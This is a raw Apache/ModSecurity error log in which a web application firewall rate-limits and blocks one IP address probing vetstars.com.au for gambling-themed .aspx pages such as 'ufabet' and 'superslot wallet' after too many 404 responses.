[Sat Apr 04 20:53:52.050231 2026] [:error] [pid 37114:tid 37121] [client 51.75.119.75:50830] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "adEJ4M-DnSj3fGMexeI_1wAAAQU"]
[Sat Apr 04 20:53:52.239169 2026] [:error] [pid 2458:tid 2517] [client 51.75.119.75:50838] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adEJ4CNozic5SuWqclkeEwAAAE0"]
[Sat Apr 04 20:53:54.634063 2026] [:error] [pid 2459:tid 2539] [client 51.75.119.75:39480] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "adEJ4gefyCmu4LR_PlobEQAAAIc"]
[Sat Apr 04 20:53:54.867931 2026] [:error] [pid 2567:tid 2589] [client 51.75.119.75:39490] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adEJ4mJJmfRsTrAKjdQuRAAAAM8"]
[Sat Apr 04 20:53:57.211353 2026] [:error] [pid 2458:tid 2511] [client 51.75.119.75:39492] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "adEJ5SNozic5SuWqclkeIAAAAEc"]
[Sat Apr 04 20:53:57.487965 2026] [:error] [pid 37114:tid 37136] [client 51.75.119.75:39504] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adEJ5c-DnSj3fGMexeI_3gAAARQ"]
[Sat Apr 04 20:53:59.898511 2026] [:error] [pid 2459:tid 2539] [client 51.75.119.75:39510] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "adEJ5wefyCmu4LR_PlobJgAAAIc"]
[Sat Apr 04 20:54:00.117039 2026] [:error] [pid 37114:tid 37122] [client 51.75.119.75:39512] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adEJ6M-DnSj3fGMexeI_4AAAAQY"]
[Sat Apr 04 20:54:02.512639 2026] [:error] [pid 2457:tid 2480] [client 51.75.119.75:39528] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "adEJ6kmNHppaMd92ZpdUcAAAAAM"]
[Sat Apr 04 20:54:02.719534 2026] [:error] [pid 2457:tid 2485] [client 51.75.119.75:39544] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adEJ6kmNHppaMd92ZpdUcQAAAAg"]
[Sat Apr 04 20:54:05.123777 2026] [:error] [pid 2459:tid 2531] [client 51.75.119.75:55730] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adEJ7QefyCmu4LR_PlobMgAAAIA"]
[Sat Apr 04 20:54:05.143683 2026] [:error] [pid 2567:tid 2580] [client 51.75.119.75:55732] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "adEJ7WJJmfRsTrAKjdQuSAAAAMY"]
[Sat Apr 04 20:54:07.714668 2026] [:error] [pid 2457:tid 2491] [client 51.75.119.75:55752] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "adEJ70mNHppaMd92ZpdUeAAAAA4"]
[Sat Apr 04 20:54:07.737841 2026] [:error] [pid 2457:tid 2493] [client 51.75.119.75:55746] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adEJ70mNHppaMd92ZpdUeQAAABA"]
[Sat Apr 04 20:54:10.220731 2026] [:error] [pid 37114:tid 37139] [client 51.75.119.75:55756] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adEJ8s-DnSj3fGMexeI_7AAAARc"]
[Sat Apr 04 20:54:10.401318 2026] [:error] [pid 2567:tid 2578] [client 51.75.119.75:55770] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "adEJ8mJJmfRsTrAKjdQuUwAAAMQ"]
[Sat Apr 04 20:54:12.940900 2026] [:error] [pid 2457:tid 2499] [client 51.75.119.75:55774] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "adEJ9EmNHppaMd92ZpdUfgAAABY"]
[Sat Apr 04 20:54:12.945307 2026] [:error] [pid 2457:tid 2482] [client 51.75.119.75:55790] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "adEJ9EmNHppaMd92ZpdUfwAAAAU"]
[Sat Apr 04 20:54:37.505093 2026] [:error] [pid 37114:tid 37129] [client 51.75.119.75:60884] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "adEKDc-DnSj3fGMexeJADwAAAQ0"]
[Sat Apr 04 20:54:38.164957 2026] [:error] [pid 37114:tid 37121] [client 51.75.119.75:60868] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adEKDs-DnSj3fGMexeJAEAAAAQU"]
[Sat Apr 04 20:54:39.966802 2026] [:error] [pid 2458:tid 2515] [client 51.75.119.75:51100] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "adEKDyNozic5SuWqclkecQAAAEs"]
[Sat Apr 04 20:54:40.622704 2026] [:error] [pid 2567:tid 2583] [client 51.75.119.75:51114] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adEKEGJJmfRsTrAKjdQuaQAAAMk"]
[Sat Apr 04 20:54:42.462915 2026] [:error] [pid 2459:tid 2538] [client 51.75.119.75:51126] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "adEKEgefyCmu4LR_PlobfgAAAIY"]
[Sat Apr 04 20:54:43.286665 2026] [:error] [pid 2459:tid 2532] [client 51.75.119.75:51134] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adEKEwefyCmu4LR_PlobgQAAAIE"]
[Sat Apr 04 20:54:44.927102 2026] [:error] [pid 2459:tid 2548] [client 51.75.119.75:47314] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "adEKFAefyCmu4LR_PlobhgAAAJA"]
[Sat Apr 04 20:54:45.697974 2026] [:error] [pid 2459:tid 2544] [client 51.75.119.75:47320] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adEKFQefyCmu4LR_PlobiQAAAIw"]
[Sat Apr 04 20:54:47.250068 2026] [:error] [pid 2457:tid 2486] [client 51.75.119.75:47324] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "adEKF0mNHppaMd92ZpdUvQAAAAk"]
[Sat Apr 04 20:54:48.060253 2026] [:error] [pid 2567:tid 2590] [client 51.75.119.75:47334] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adEKGGJJmfRsTrAKjdQucwAAANA"]
[Sat Apr 04 20:54:49.640691 2026] [:error] [pid 2459:tid 2546] [client 51.75.119.75:47348] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "adEKGQefyCmu4LR_PloblQAAAI4"]
[Sat Apr 04 20:54:50.490677 2026] [:error] [pid 2459:tid 2553] [client 51.75.119.75:47362] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adEKGgefyCmu4LR_PlobmwAAAJU"]
[Sat Apr 04 20:54:52.335171 2026] [:error] [pid 2459:tid 2550] [client 51.75.119.75:47370] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "adEKHAefyCmu4LR_PlobowAAAJI"]
[Sat Apr 04 20:54:52.841108 2026] [:error] [pid 2567:tid 2581] [client 51.75.119.75:47374] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adEKHGJJmfRsTrAKjdQudwAAAMc"]
[Sat Apr 04 20:54:54.760177 2026] [:error] [pid 2567:tid 2587] [client 51.75.119.75:58034] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "adEKHmJJmfRsTrAKjdQueAAAAM0"]
[Sat Apr 04 20:54:55.283562 2026] [:error] [pid 2458:tid 2509] [client 51.75.119.75:58046] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adEKHyNozic5SuWqclkegAAAAEU"]
[Sat Apr 04 20:54:57.326723 2026] [:error] [pid 2459:tid 2555] [client 51.75.119.75:58050] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "adEKIQefyCmu4LR_PlobrQAAAJc"]
[Sat Apr 04 20:54:57.880563 2026] [:error] [pid 2459:tid 2532] [client 51.75.119.75:58056] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adEKIQefyCmu4LR_PlobrgAAAIE"]
[Sat Apr 04 20:54:59.790989 2026] [:error] [pid 2458:tid 2525] [client 51.75.119.75:58064] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "adEKIyNozic5SuWqclkelgAAAFU"]
[Sat Apr 04 20:55:00.269307 2026] [:error] [pid 2459:tid 2542] [client 51.75.119.75:58066] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adEKJAefyCmu4LR_PlobsgAAAIo"]
[Sat Apr 04 20:55:02.216506 2026] [:error] [pid 2457:tid 2477] [client 51.75.119.75:58080] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "adEKJkmNHppaMd92ZpdU2AAAAAA"]
[Sat Apr 04 20:55:02.885581 2026] [:error] [pid 2567:tid 2580] [client 51.75.119.75:58090] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adEKJmJJmfRsTrAKjdQufgAAAMY"]
[Sat Apr 04 20:55:04.736281 2026] [:error] [pid 2459:tid 2553] [client 51.75.119.75:38046] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20slot.aspx"] [unique_id "adEKKAefyCmu4LR_PlobtQAAAJU"]
[Sat Apr 04 20:55:05.320001 2026] [:error] [pid 2458:tid 2528] [client 51.75.119.75:38062] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adEKKSNozic5SuWqclkepwAAAFg"]
[Sat Apr 04 20:55:07.298494 2026] [:error] [pid 2457:tid 2496] [client 51.75.119.75:38076] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "adEKK0mNHppaMd92ZpdU4gAAABM"]
[Sat Apr 04 20:55:07.988279 2026] [:error] [pid 37114:tid 37127] [client 51.75.119.75:38082] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adEKK8-DnSj3fGMexeJAHgAAAQs"]
[Sat Apr 04 20:55:09.956569 2026] [:error] [pid 2567:tid 2582] [client 51.75.119.75:38090] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "adEKLWJJmfRsTrAKjdQuhgAAAMg"]
[Sat Apr 04 20:55:10.525837 2026] [:error] [pid 2567:tid 2597] [client 51.75.119.75:38098] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adEKLmJJmfRsTrAKjdQuiwAAANc"]
[Sat Apr 04 20:55:12.406657 2026] [:error] [pid 37114:tid 37135] [client 51.75.119.75:38100] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20wallet.aspx"] [unique_id "adEKMM-DnSj3fGMexeJAJAAAARM"]
[Sat Apr 04 20:55:12.966836 2026] [:error] [pid 2567:tid 2586] [client 51.75.119.75:38114] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adEKMGJJmfRsTrAKjdQujgAAAMw"]
[Sat Apr 04 20:55:14.913046 2026] [:error] [pid 2459:tid 2545] [client 51.75.119.75:49174] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20100.aspx"] [unique_id "adEKMgefyCmu4LR_PlobwAAAAI0"]
[Sat Apr 04 20:55:15.322971 2026] [:error] [pid 2567:tid 2576] [client 51.75.119.75:49190] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adEKM2JJmfRsTrAKjdQulQAAAMI"]
[Sat Apr 04 20:55:17.300573 2026] [:error] [pid 2459:tid 2541] [client 51.75.119.75:49200] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%201668.aspx"] [unique_id "adEKNQefyCmu4LR_PlobzgAAAIk"]
[Sat Apr 04 20:55:17.660059 2026] [:error] [pid 2459:tid 2533] [client 51.75.119.75:49212] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adEKNQefyCmu4LR_Plob0QAAAII"]
[Sat Apr 04 20:55:19.718697 2026] [:error] [pid 37114:tid 37131] [client 51.75.119.75:49224] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "adEKN8-DnSj3fGMexeJAKQAAAQ8"]
[Sat Apr 04 20:55:20.339078 2026] [:error] [pid 2459:tid 2552] [client 51.75.119.75:49238] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adEKOAefyCmu4LR_Plob4QAAAJQ"]
[Sat Apr 04 20:55:22.162099 2026] [:error] [pid 2459:tid 2555] [client 51.75.119.75:49246] [client 51.75.119.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "adEKOgefyCmu4LR_Plob8gAAAJc"]
